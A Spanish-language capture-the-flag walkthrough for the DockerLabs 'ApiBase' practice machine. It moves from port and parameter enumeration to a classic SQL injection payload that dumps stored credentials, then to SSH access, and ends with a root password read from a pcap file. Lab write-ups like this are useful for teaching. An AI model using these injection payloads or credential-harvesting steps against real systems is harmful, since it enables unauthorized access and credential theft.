> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/apibase.md). # ApiBase ### **1. Despliegue de la máquina** #### **1.1. Descarga** Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **ApiBase** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución. #### **1.2. Descompresión** Utilizamos `7z` para extraer el contenido del archivo comprimido: ```bash 7z x apibase.zip ```

#### **1.3. Ejecución** Ejecutamos el script (`auto_deploy.sh`) para levantar la máquina en Docker: ```bash bash auto_deploy.sh apibase.tar ```

### **2. Reconocimiento** #### **2.1. Verificación de conectividad** Realizamos un `ping` a la dirección IP de la máquina (`172.17.0.2`) para confirmar que está activa: ```bash ping -c 1 172.17.0.2 ```

#### **2.2. Escaneo de puertos** Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts ``` **Explicación de los parámetros:** * `-p-`: Escanea todos los puertos (1-65535). * `--open`: Muestra solo puertos abiertos. * `-sS`: Escaneo SYN (stealth, no completa la conexión TCP). * `--min-rate 5000`: Acelera el escaneo enviando 5000 paquetes/segundo. * `-vvv`: Máximo nivel de verbosidad. * `-n`: Evita resolución DNS. * `-Pn`: Trata el host como activo (evita detección por `ping`). * `-oG allPorts`: Guarda los resultados en formato Grepable, en el archivo `allPorts`. **Puertos abiertos identificados:** * **Puerto 22:** `SSH`. * **Puerto 5000:** `UPNP`.

#### **2.3. Escaneo detallado** Realizamos un escaneo detallado para obtener más información de los puertos abiertos: ```bash nmap -p22,5000 -sCV 172.17.0.2 -oN targeted ``` **Explicación de los parámetros:** * `-p22,5000`: Especifica los puertos que se desea escanear, en este caso, el puerto 22 y el puerto 5000. * `-sCV`: Escaneo de versiones (`-sV`) y ejecución de scripts básicos de reconocimiento (`-sC`). * `-oN targeted`: Guarda la salida en formato normal, en el archivo `targeted`. **Resultados:** * **Puerto 22:** OpenSSH 8.4p1. * **Puerto 5000:** Servidor HTTP Werkzeug 1.0.1 (Python 3.9.2), que muestra un mensaje en formato JSON.

#### **2.4. Análisis del servicio web** Accedemos al servicio web en `http://172.17.0.2:5000/` y encontramos el siguiente mensaje: ```json message: "No endpoint selected. Please use /add to add a user or /users to query users." ``` Esto nos indica que existen dos rutas potenciales: `/add` y `/users`.

#### **2.5. Enumeración de directorios y archivos** Buscamos directorios y archivos ocultos con `gobuster`: ```bash gobuster dir -u http://172.17.0.2:5000/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php ``` **Explicación de los parámetros:** * `dir`: Modo de descubrimiento de directorios. * `-u`: URL objetivo. * `-w`: Wordlist utilizada para el descubrimiento. * `-x`: Extensiones de archivo a buscar. **Rutas detectadas:** * `/users` -> `http://172.17.0.2:5000/users`. * `/add` -> `http://172.17.0.2:5000/add`. * `/console` -> `http://172.17.0.2:5000/console`.

#### **2.6. Análisis de las rutas encontradas** #### **2.6.1. Ruta `/console`** Al acceder a esta ruta (`http://172.17.0.2:5000/console`), recibimos el siguiente mensaje de error: ```html Bad Request The browser (or proxy) sent a request that this server could not understand. ``` **Interpretación del error:** * El mensaje "Bad Request" nos indica que el servidor no entiende la solicitud que le estamos enviando. * Esto nos sugiere que la ruta `/console` podría estar protegida. * Es probable que se trate de una consola interna restringida, accesible solo bajo condiciones particulares (como autenticación, cabeceras específicas o acceso desde una IP autorizada).

#### **2.6.2. Ruta `/add`** Al acceder a esta ruta (`http://172.17.0.2:5000/add`), obtenemos el siguiente mensaje: ```html Method Not Allowed The method is not allowed for the requested URL. ``` **Interpretación del error:** * El mensaje "Method Not Allowed" nos indica que el método HTTP que estamos utilizando (probablemente `GET`) no está permitido para esta ruta. * Esto sugiere que `/add` podría requerir otro método, como `POST`, para funcionar correctamente. * En este estado, no podemos acceder al recurso, ya que el servidor rechaza nuestra solicitud.

#### **2.6.3. Ruta `/users`** Al acceder a esta ruta (`http://172.17.0.2:5000/users`), el servidor nos responde con el siguiente mensaje de error: ```json error: "Invalid parameter" ``` **Interpretación del error:** * El mensaje indica que la solicitud enviada contiene un parámetro incorrecto o que falta un parámetro obligatorio que no estamos proporcionando.

#### **2.7. Fuerza bruta de parámetros** Usamos `wfuzz` para descubrir el parámetro válido: ```bash wfuzz -c --hc=404 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://172.17.0.2:5000/users?FUZZ=" ``` **Explicación de los parámetros:** * `-c`: Activa la salida en color, lo que facilita la lectura de los resultados en la terminal. * `--hc=404`: Oculta las respuestas con el código de estado HTTP 404 (Not Found). * `-w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt`: Especifica el diccionario de palabras que se utilizarán para el ataque. * `-u "http://172.17.0.2:5000/users?FUZZ="`: Define la URL objetivo y el punto donde se insertarán las palabras del diccionario (`FUZZ`). **Resultado:** El parámetro válido es `username`.

Al acceder con el parámetro `username` (`http://172.17.0.2:5000/users?username=`), el servidor nos responde con el siguiente mensaje: ```json message: "Enter your username" ``` **Interpretación del mensaje:** * El servidor nos está solicitando que introduzcamos un nombre de usuario válido. * Esto confirma que el parámetro `username` es reconocido y esperado por la aplicación. * A diferencia del error anterior ("Invalid parameter"), ahora la ruta responde correctamente, pero requiere un valor específico para continuar.

Vamos a realizar un ataque de fuerza bruta como antes para encontrar un usuario válido: ```bash wfuzz -c --hc=404 --hh=39 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://172.17.0.2:5000/users?username=FUZZ" ``` Encontramos que una comilla (`'`) es una entrada correcta.

Al introducir la comilla simple (`http://172.17.0.2:5000/users?username='`), obtenemos un error de SQLite, lo que indica una posible vulnerabilidad de SQL Injection.

### **3. Explotación** #### **3.1. Inyección SQL** Probamos una inyección clásica: ``` http://172.17.0.2:5000/users?username=' or 1=1 -- - ``` **Explicación:** * `'`: Cierra la cadena abierta por el backend. * `or 1=1`: Siempre se cumple, devolviendo todos los registros. * `-- -`: Comenta el resto de la consulta SQL original. **Resultado:** Accedemos a datos internos de usuarios: ```json [ { "id": 1, "username": "pingu", "password": "your_password" }, { "id": 2, "username": "pingu", "password": "pinguinasio" } ] ```

#### **3.2. Acceso SSH** Con estas credenciales intentamos conectarnos por SSH: ```bash ssh pingu@172.17.0.2 ``` **Resultado:** Acceso exitoso a la máquina objetivo con el usuario `pingu`.

### **4. Escalada de privilegios** #### **4.1. Análisis del archivo `network.pcap`** Dentro del directorio `/home` del usuario `pingu`, encontramos un archivo llamado `network.pcap`.

Analizamos su contenido: ```bash cat network.pcap ``` **Resultado:** El archivo contiene credenciales en texto claro para el usuario `root`: ```bash �ò��&�gVF((E(@"��P .�&�g@G((E(@O��P [�&�g�G((E(@"��P .�&�g3H33E3@"��P aRLOGIN root &�g I66E6@"��P ��PASS balulero &�g�I66E6@O��P �Access Denied ```

#### **4.2. Acceso como root** Utilizamos las credenciales encontradas anteriormente para acceder como `root`: ```bash su root ``` Introducimos la contraseña `balulero` y confirmamos que tenemos acceso privilegiado al sistema.